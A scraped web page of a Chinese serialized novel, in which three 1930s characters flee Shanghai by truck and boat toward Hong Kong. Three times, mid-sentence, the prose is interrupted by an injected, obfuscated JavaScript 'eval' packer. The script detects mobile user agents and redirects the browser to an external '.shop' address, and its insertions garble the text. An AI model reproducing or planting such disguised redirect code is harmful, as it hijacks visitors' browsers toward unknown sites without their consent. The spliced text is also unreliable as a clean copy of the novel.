;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214988|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么有血?” “二少爷的。”薛莲山盘腿坐下,说,“他死了。” 定青没有再问,金雪池也不说话,片刻后,薛莲山低低地咳起来。 除中午休息的一个小时之外,这辆卡车在碎砖煤屑路上开了整整一整天,颠得他们浑身酸痛。这里既没有医药,也得不到充足的休息,薛莲山死去活来地咳了几个小时,胸口快速且浅层地起伏着,人已经没了力气,是在被动咳嗽。 定青似乎认为男女朋友的关系比主仆关系更亲近,一直瞪着她。金雪池长了这么几岁,已经不纠结他们到底是不是男女朋友了,她不给他实,他也不给她名,但这一路终究是要一起走下去的。只好硬着头皮往他身边凑,他的脑袋完全压到了她肩上,不知是晕了还是睡了,非常沉重。 晚上到了松江县,卡车把他们放在了一家客栈边。县城的客栈不能指望多好,但听不到枪声,确实让他们精神放松:总算离开上海了! 定青去楼下打了一桶水上来,甚至有兴致和她说闲话:“后天就能到杭州?” “唔,你能开一整天车吗?这辆卡车明天就不管我们了。” “能开七八个小时吧。” “那好,你明早还得去买一辆车。” 卡车上属于他们的货物,有两个钉死了的木箱子,里面放了文件、美金和几十件经得起颠簸的珠宝古董,除此以外,就是一个大包袱,每人只有两套可换洗的衣物,水壶、油布雨衣、火机、手帕,还装了一些零钱。薛莲山睡着,他们谁都搞不清楚这些零钱够不够用,以及到底是把零钱用光还是开箱拿美金。 一番研究后,金雪池道:“你先揣着零钱去问问吧!买个二手的就可以。” 当晚薛莲山发烧发得厉害,喉咙里呼呼地有痰音,自己却不知道咳出来,好在能勉强呼吸。他们找店家要来厚棉被,高高摞起来,把他摆弄着趴在上面。 定青在对面的床上睡着了,翻身对着墙壁。金雪池这头的蜡烛没有熄灭,她倾身凝望着他,手上无意识地绞着一条长辫子,绞来绞去,摸得它毛毛糙糙。 他的面貌是非常东方的,山根不会太高,眼窝也不深,不显得英气、凌厉,只是温文儒雅,很适合他那副笑眯眯的样子。金雪池从不敢光明正大地看他,但他现在是昏得不能再昏了,她便壮着胆子,伸手摸了摸他鼻梁上由眼镜压出的凹痕,浅浅一个坑。 指尖有轻微的潮湿感,他正在出汗。 我爱你啊。金雪池不禁微笑起来,凑得更近了,小心翼翼地摸了他的手。这双手和他的脸风格很不同,是一双真正从事过劳动的手,宽长粗大,暴着青筋。摸上去,皮肤也很硬,掌心里汗黏黏的。 她看了定青一眼,仍面朝里睡着,遂俯身在他的手背上吻了一吻。没人看到她,她的脸也兀自在黑暗中烧起来,觉得自己再也不会为菩萨所原谅,自己真是个放浪的姑娘。 50.在路上 第二天早上,定青去弄车,她吃店家送上来的馒头,余光注意到他缓缓动了动。 “你醒啦?” 薛莲山头晕脑胀地推开被子堆,缓了缓,穿鞋下楼去上厕所,顺便把嗓子眼里黏黏糊糊的东西都咳干净,洗了把脸。再回房时,他就有了些精神,“定青呢?” “弄卡车去了。” 他点了一下头,从枕边捡起眼镜戴上,苦笑道:“嗨呀,折腾死我了。” 金雪池默默看着他,薛莲山补充道:“也折腾死你了——谢谢。” 他面色如常。想来也是,经历的风浪太多,在昨天那样紧急的情况下,依赖她一下,又算得了什么?在她面前显现出衰病的样子又算什么?他就是病一辈子,也不会认为自己弱于她,完全不会为这种小事不好意思。再说了,他不知道和多少女人肌肤相亲过,到了完全不稀奇的地步,可她就只...... 金雪池感到一阵深重的无力:他们的世界并不对等。 “不,我没做什么。你要馒头吗?” 他要了一个过去,吃得很慢。快十点时定青回来,说从一家饲料厂弄到车了,见他有好转,显现出很高兴的样子。 一行人把行李搬上车,卡车哐当哐当地发动,向西南方向,往青浦开。深秋时节,满地落叶,轧上去是一片清脆绵密的碎声;土路边不知名的小黄花在风中摆动,风和日丽,天朗地清。 薛莲山身上罕见地没有香味,靠在栏板边上吹了许久的风,闭目凝思。随后,他向金雪池详细地介绍了目前的财产状况:他的地契、黄金全抵给邵子骏了,银行里存的钱全取出来、换成了美元,现在带在身上的美元有五十多万,她买的那一箱东西拍卖出去兴许会折价,但应该有六十多万。 “这就是我们现在所有的钱了。” 金雪池惊异道:“这还不够吗?单是吃利息,后半辈子也都够了。” 薛莲山伸出一根手指,“我解释一下。虽然我开了个大公司,看起来很有钱,但是这个公司的绝大多数价值是不能变现的,且必然地存在巨额债务。苏兴在的时候,债主视之为一种,咳,投资,乐意借我钱。现在苏兴垮了,他们将会来讨债。你知道债务有多少吗?” 金雪池有种不祥的预感,抿着嘴,不敢问。他继续说:“七百多万。我走之前把潮州罗汉山的那口矿抵押给银行了,他们大概已经收走了,那也剩六百多万。” “什么!”她简直没听过这么大的数字,“苏兴就直接......没了吗?你剩下的六口矿,没有人愿意收,就摆在那里了?” “我没有摆在那里。”他似乎有点得意,“反正我也拿不到,也不愿意让日本人入股,摆在那里,白给他们捡便宜。我已经发通知下去,让矿工随便拿,拿煤回家去卖也好,怎么都好,就只帮我办一件事。倘若听到上海沦陷的消息,把矿炸掉。” 金雪池猛地转脸看向他,定青也一直在听他们谈话,闻言车身猛地往左一歪。 倘若他像部分企业家一样,被迫签字,然后逃到香港躲战火,还能继续当个闲散老板;倘若日本人的动作不快,他能在跑到香港后,找个冤大头把其中几座卖出去;倘若什么都不做,也有几率在遥远的未来某天,回到故乡,通过法律手段拿回矿场所有权。 但他直接把矿炸了,断绝了自己和敌人的所有后路。日本人休想拿走一车煤,用来发动漆有旭日旗的火车、汽船、工厂。 身为商人,不事生产、不传学问、不上战场,国难当前,深憾不能做出贡献。玉石俱焚本是下下之策,但既然这六座矿不留给日寇,也算是他献给祖国的一份薄礼。 两日后,他们到达了杭州。 薛莲山大病初愈,一个极大的特点就是想把没吃的饭全吃回来。奈何杭州这座城市实在不好吃,口味寡淡,连杭帮菜的代表菜东坡肉都很普通,肉是肉,汁是汁,毫不调和;肉没有特别的口感,汁也没什么滋味。 金雪池一路都不说话,撂下筷子,心事重重地叹了口气。 薛莲山点头道:“我也觉得难吃。” “不是。薛先生,我想,我们是不是该省点钱呢?” “这也就是普通下馆子的钱,再省就吃糠咽菜风餐露宿了。”薛莲山笑道,“以及如果你欠别人三十块钱,是该在这种地方省一省;如果欠六百万,没有省的必要。” 横竖债务是他的,不是她的。但金雪池有一种他们是一体的潜意识,想起这样大的债务,还是觉得很难受。现在他没有实体产业了,在香港只是临时歇脚,没办法重新做大;美国又对华人企业家有重重限制,好像是只允许你跑外贸,不准你当老板开公司......这怎么办呢? 窗外山雨欲来,阴云厚厚地压着,缝隙出仍有日光漏下来,粼粼地映在湖面。 金雪池托腮望向窗外,几乎感到一种甜蜜的负担:他和她之间那种固化、既定、令人绝望的关系被撬开了一个口。他现在不再是大老板,却债台高筑了。 可是薛莲山并没有显现出颓势,她该没用还是没用。 又想起邵子骏。薛莲山说了他怎么死的,说完了,就完了。邵子骏的一生也完了。她想二少爷真傻,还没摸清对方的牌,就把自己的底牌打出去。我就不会为他去死,我猜他不会为我掉一滴眼泪。 但冒险的事她也做得不少,谁知道死亡会在哪一刻忽然降临? 想来想去,金雪池仍感到无解。这个人是没有心的。让他对她有一点点爱非常难,事实上,她离开潮州后做的每一件事都难,世上简直没有易事,只有当老豆的女儿最容易。什么都不做,老豆就爱她。 从杭州艮山门出发,一行人沿杭温古道向南。 该古道原是唐代驿道,现在有部分路段已经拓宽为简易公路,可通行卡车。沿路风都很大,卡车又是敞篷的,把人吹成了一根晚唐的蓬草,国破家亡,转徙漂泊。剩下的路段仍是细窄泥路,定青一没留神,前车头歪到了坡上,车尾翘起来,离了地。 附近一户人家都没有,三人先把箱子搬开,试图将麻绳绑在保险杠上往外拉,然而根本拉不动。 “或者再把箱子放到车尾上,”薛莲山道,“再搬几块大石头增加重量,我们再往下拽,把车头撬起来。” 金雪池绕着卡车转了两圈,发话了:“其实不应该往下拽,你们最好站在高处往上提。” “车尾都悬空了,还往上提吗?” “试试看吧。” 附近并没有高地,她就把绳子从路边的树冠上拋过去,这样一来,不管往哪里拉绳子,保险杠的受力都朝后上方的。三人用力拉了拉,车似乎有脱困的希望。 薛莲山教了她一下怎么发动、挂倒挡、刹车,车一回路面上就刹住。金雪池虽然担心撞死他们,但还是跃跃欲试。坐进驾驶室,她踩着离合,握着操纵杆,把脑袋伸出窗户外看:两人将绳子绑在腰上了。薛莲山罕见得没穿正装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216794|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只套一件宽大的绒线衫,远远朝她挥了挥手,完全是个大个子的年轻人。 车在拉拽下震动起来,她感觉动力不足,慢慢地加上油门,前轮开始碾着土坡向后退了。猛地冲上平地时,她立刻踩下刹车。然而卡车体积大,还往后冲了好一段距离,薛莲山和定青忙跳到路另一边的坡下躲避。 定青笑道:“还是金小姐说得对。” “大学生就是不一样。”薛莲山一边解绳子,一边笑道,“不过,怎么不说我的功劳?” 金雪池道:“你有什么功劳?人家定青肯定比你出的力气大。” “非也,腰上绑绳子拉东西,我是专业的。” 金雪池没料到他会主动开自己的玩笑,跟着笑起来。深秋的阳光下,她的脸被风吹得泛红,两条麻花辫搭在肩上,松松散散,周边形成了一圈金黄虚影。她这样年轻美丽,让薛莲山觉得自己也很年轻,轻轻快快跳上货厢,他在她脸上亲了一下。 这个吻没什么暧昧意味,亲得很重,是撞过来的。是一种乡下小伙子式的亲吻。 她枕着栏板,为了躲他,脑袋向后仰倒,在头部充血的眩晕中看到无数野花野草掠过去,掠得太快,影影绰绰、恍恍惚惚,像电影里的镜头,用以表现欢乐、情欲、似水流年。晕得快翻下去了,她就重新把脑袋支起来,眼神尚未聚焦,就看出他正靠着对面的栏板蹲坐,胳膊搭在膝盖上,望着她笑。 他说:“我还是觉得应该把车尾往下压。” “其实这是一种很正常的直觉。”金雪池道,“但是直觉往往不可靠,必须摒弃直觉,进行严谨的分析。出个小题目,一个屋子里有二十三个人,存在两人生日相同的概率是多少?” “唉,妹妹,我一节数学课都没上过。” “没事,感觉一下。” “我感觉很小,用23除以365吧。”他思考片刻,又补充道,“等等,两个人的话,那就是23/365*23/365。” 金雪池刚想说“不对”,又想起他说话的方式,觉得明知道他不学数学、还引诱他说出个错误答案是很不厚道的,她愿意模仿他说话,让自己听上去很亲和:“你能想到这样算,证明你对数学还是有了解。不过,答案是50%。” 薛莲山无论如何也不能相信有这么大的概率,他好奇是怎么算的,但他没有追着别人问个不停的习惯,只先笑眯眯道:“这么说,看似是人海茫茫,其实23个陌生人挤一屋,就有过半几率找到共享生日的人。人与人之间所谓的独特联结,比我们想象中的廉价得多。” “所以你的朋友很多。” “不错。和甲一样喜欢吃某个馆子的菜,和乙一样关注某公司的股票,和丙每周五出去喝酒,很容易就能收获新朋友。” “你自己也说廉价。” “廉价没什么不好,都是这样的。” “不都是这样的。”金雪池又把脑袋仰过去,“概率需要绝对随机和客观,但人有选择。” 不要为你自己开脱,你谁都没选择过。 薛莲山微微一笑,不接话了。他固然谁都没选择过,但像金雪池这样,总能知道他在说什么的人可没有几个。他不常跟普通朋友东拉西扯,拉扯到这么抽象的地步。 为避免定青一个人开八小时太过疲惫,下午换他开,还可以晚一点再找住宿。路上没什么车,他开得要多快有多快,晚上金雪池抬手一摸,脸都被劲风吹脱皮了。 51.航行 经萧山、诸暨,到达义乌,住了两晚。又从义乌佛堂码头搭乘乌篷船,沿东阳江、瓯江顺流而下,夜宿丽水。沿途风光秀美,水流湍急,在岸边的石头上激溅出白色的浮沫;两岸一段是石壁,万仞耸立,一段是平原,渠灌俨然。 水上的空气也是潮的,金雪池抱着膝盖坐在船头,一个劲儿地嗅,有时还伸手下去拨一拨水。船老大朝她说了几句话,她没听懂,定青翻译说:这一带流行疟疾,不要玩水。 接着,船老大又掏出一个瓷瓶叽里呱啦一顿说,是在兜售奎宁,一法币一片药。 三人于是都对到底流不流行疟疾抱怀疑态度。 定青说别买,就算保险起见,也上岸再买,这一片尚未沦陷,哪能一法币一片药?金雪池倒认为可以花钱买个平安,现在是在水上,他们若不买,船老大一杆子把船划进某个水匪寨子都有可能。船家和水匪向来是相互勾结的。 抵达温州后,三人都感到了不舒服,其实是旅途太过劳累所致,然而都怕自己得疟疾,吃了许多奎宁。 “现在就可以去买船票,因为只能买到三天后的,我们还能休息休息。”薛莲山对定青说着,习惯性去摸雪茄盒,摸了个空,只能噼噼啪啪地摆弄火机翻盖,“我不清楚具体在哪条路上,有一家怡和洋行,你找人打听吧。买英国陶格拉斯轮船公司的‘海阳’轮,我们买三等舱,金小姐一等舱。” 一路下来,都是他在指挥往哪个方向走、怎么换乘,定青大为钦佩,揣着零钱去了。金雪池坐在一旁的椅子上问:“不是不省小钱吗,三等舱?” “三等舱的一张票就要三十五法币。” 金雪池想说那我也三等舱,不过就是挤一点。但定青走得太快,她只在薛莲山面前说,倒像是得了便宜还卖乖,便不说了。 片刻后,薛莲山实在是心痒难耐——半个月都没沾到一点烟气了。他能自己抽,但不能闻二手烟,尤其不能闻密闭空间里一帮人抽出的味道,因为这个缘故,定青没在他面前抽过。 不过定青肯定随身带着有。他把手伸到定青的大衣口袋里摸,摸出一支香烟来。 他烟龄很长。山中湿冷,工作时间又长,上地面后腿脚直发颤,老工人就教他们抽一种叶子烟:将烟叶晾干后,不经过任何处理,切成小块,直接卷裹而成。由于没经过脱焦,劲儿特别大,他有时候爬梯子时觉得晕得快摔下去了,就赶紧上地抽几根。其他孩子都抽,八九岁就开始了。 去薛家后依然抽,不过改成了旱烟,也不讲什么卫生,男佣人一人吸一口,轮流传递那杆烟枪。 再后来抽香烟,再后来香烟也没法抽了,咳得太厉害。一个朋友给他介绍了这个叫做乌普曼的雪茄牌子,说烟气很柔和,且因为雪茄无需过肺的缘故,尼古丁不会吸进去。他尝试后觉得确实很好,就一直用了下来。 其实他知道有害健康,但平常抽得也不多,最近是因为心情烦躁才多抽几根,所以也没特意戒过。 点火的时候,他回头看了金雪池一眼。金雪池正在吃路上买回来的马蹄松,感受到视线后,也看他一眼,什么表示都没有。 薛莲山忽然觉得兴致索然:这个人是没有心的。 周二晚上八点,他们从安澜码头登船,第一件事就是去各找各的铺位。男女舱位是分开的,金雪池走进自己的舱房,里头相对的有两张床,其中一张上坐了人,自己那张上面搁了几个大箱子,因为刚才在下小雨,弄得床单都湿了。 她在心里勃然小怒了一会儿,才开口问对床:“请问是你的行李吗?” 对床的女人四十多岁,正三角形脸,眼皮也松弛了,后半段耷拉下来,显露出尖酸刻薄之相。闻言打量了她片刻,“听口音,你是广东人?” “是的。” “在温州做什么?” “我是从上海来的。” “去上海做什么?” 金雪池不说话了,把床上的两个箱子挪到她床下。 晚上下大雨,风撞得舷窗砰砰响。金雪池感觉很不妙,按理说每一次出海都要拜妈祖,但她在温州人生地不熟,没找到庙宇。大半夜她就在床上磕头,对床的女人也在磕头。 第二天早上依旧风雨大作,她没上甲板,只去餐厅吃了饭,转了许久也没看到薛莲山,只好回舱房。 对床的女人在绣一双亚麻拖鞋,密密麻麻的牡丹花瓣,密得瘆人,什么时候扎破了手,沁一滴血进去都发现不了。 女人找她搭话:“小姐姓什么?” 金雪池依旧是不理她。她继续道:“我是想和你搭个伴,都是老乡,一起去香港也有个照应。我夫家姓陈,住在温州。丈夫前两年走了,家里也没人了,听说打仗,只能自己带着孩子往香港跑。” “娘家在香港吗?” 陈太太冷哼一声,“指望他们?不如我自己把一点钱捏紧了!” 战乱年代,她一个无依无靠的寡妇也不容易。金雪池勉强与她搭了一会儿话,最后不欢而散,她觉得陈太太说话一股怨愤味儿,陈太太嫌她守口如瓶,一点聊天的意愿都没有。 她是在担心一件事儿:潮州有人在追杀她。香港离潮州并不远啊。 舱房也坐不下去了,金雪池转到活动室,看人家打麻将。她不肯下场和这些陌生的男男女女打,看也不明目张胆地看,端着一碗茶,飘飘悠悠地在附近打转。 半小时后,她觉得再看别人打对乳腺健康十分不利,挑了一桌只有年轻女孩的坐下去。三个女孩,两个是丫鬟打扮,穿湖绿色的小衫、小脚袴子——上海女人是不兴这么穿的;另一个大概是小姐,穿长袖曳地旗袍,里头缝了鼠皮——上海女人也不这么穿,宁可里面穿短袖旗袍,外面再罩一件长大衣。 金雪池在不知不觉中变成了一个洋气的人,换做以前,她是瞧不出别人的衣着有什么乡气之处的。 三人大概就是解个闷,没有认真打牌,一直用粤语嘻嘻哈哈地闲聊。待金雪池沉默地赢走三角钱,她们就开始严阵以待了,几圈过后,又被赢走七角。 金雪池把她们的闲聊全听进去了,“你是陈太太的女儿?我与陈太太一个舱房。” “哦,我是......”那位小姐立刻涨红了脸,“你听得懂啊?” “是啊,你们说我真讨厌。” 那位小姐差点昏过去了,起身朝她猛鞠一躬,“不好意思,对不住,我们就是......太心急了!这样,我再给你一块好不好?当我押双倍的注。” 金雪池也不好意思了,“哦,那也不用。” “你拿着吧!” “不用了不用了,我也就是找个消遣,这些也还给你。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223294|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不不不,你拿着。” 两人推阻好几翻,最后达成共识,继续打就不玩钱了。这位小姐名叫陈幼兰,今年十七岁,正待字闺中。 中午她们是一起去餐厅的,陈幼兰对她挺有好感,走着走着要上来挽她手臂。金雪池不喜欢跟人身体接触,躲了一下,陈幼兰就红着脸退开了,嘴里仍叽叽咕咕地问:“那么,你父母呢?” “我不是和父母一起的。” “噢!你和你先生一起来的?” 金雪池虽然不喜欢陈小姐挽她,但对于这位小姐还是很有好感,不愿意败坏自己在对方心中的形象,只能转变话题:“要吃什么?” 吃完午饭又打了几圈牌,她远远看到定青下到活动室,就辞别了陈小姐,假装自己只是在活动室里散步。 定青主动向她走来,“金小姐,下午好。” “下午好,薛先生呢?” “他在甲板上。” 外面仍在下大雨,她若是上甲板,那就是特地去找他了。金雪池先回舱房睡了个午觉,一不小心睡过了头,醒来时,舷窗外黑漆漆一片,陈太太也不知所踪。她不知道具体是几点钟,披上雨衣,迅速上了甲板。 雨势已经转小,仍丝丝缕缕飘着。海、天都是黑的,然而海是沉甸甸的实体,天是虚的,并没有真正可触及到的东西,只呈现出蟹壳般的青灰。她沿着船舷一路走、一路用手拍潮湿的木桩,远远看见薛莲山撑伞在船头站立,另一只手插在口袋里,海风吹得头发有点乱。 她加快脚步走过去,“薛先生,怎么站在这里?” 薛莲山不紧不慢地转身,“下雨前底下闷得慌。” “现在加钱可以升舱。” “上来透透气就好了,也不是多大的事,现在手头拮据,总要离大众近一些的。”他见她没有伞,只披雨衣,顺手就把她拨拉到自己伞下。雨衣隔在两人之间,滑腻腻、凉沁沁的,他隔着一层油布抱着她,时间久了,她的体温就慢慢渗过来了。 金雪池没有动,她心里愿意他永远尊贵、永远光风霁月,离大众远一些也没关系。 “我想到一件事。”他说,“到达香港后,你不要叫金雪池了,换个名字。你在船上没跟人聊闲天吧?” 金雪池自然知道这是什么缘故,“聊了,我说我叫Shirley。” 薛莲山一下子笑了出来,“这么洋气?” “正好说到我是上海来的,她们问我叫什么,我就说上海人流行互称英文名,免得她们问我姓什么。父亲姓金,我不愿编个别的。” 他摩挲她下巴的手速度慢下来,缓缓道:“妹妹,有一件事我要告诉你,也许你要怨我......” “没关系,我猜到了。他怎么死的?” “挨了一枪。” 金雪池抬眼望去,海天雾气空茫茫。 薛莲山仍在摸她的脸,没摸到眼泪。她就从来没有痛哭流涕、需要他安慰的时刻。当然,倘若她跟他倒苦水多了,他也不耐烦了;然而她既这样没有心,他就格外盼望有那么一两次。 说不定他现在告诉她:是活生生烧死的!她就要当着他哭了。 可是,伤害女人的事他怎么做得出来。 “其实有一个办法,”他摸着摸着,去揪她的鼻尖,“所有人都不会再问你的本姓是什么。”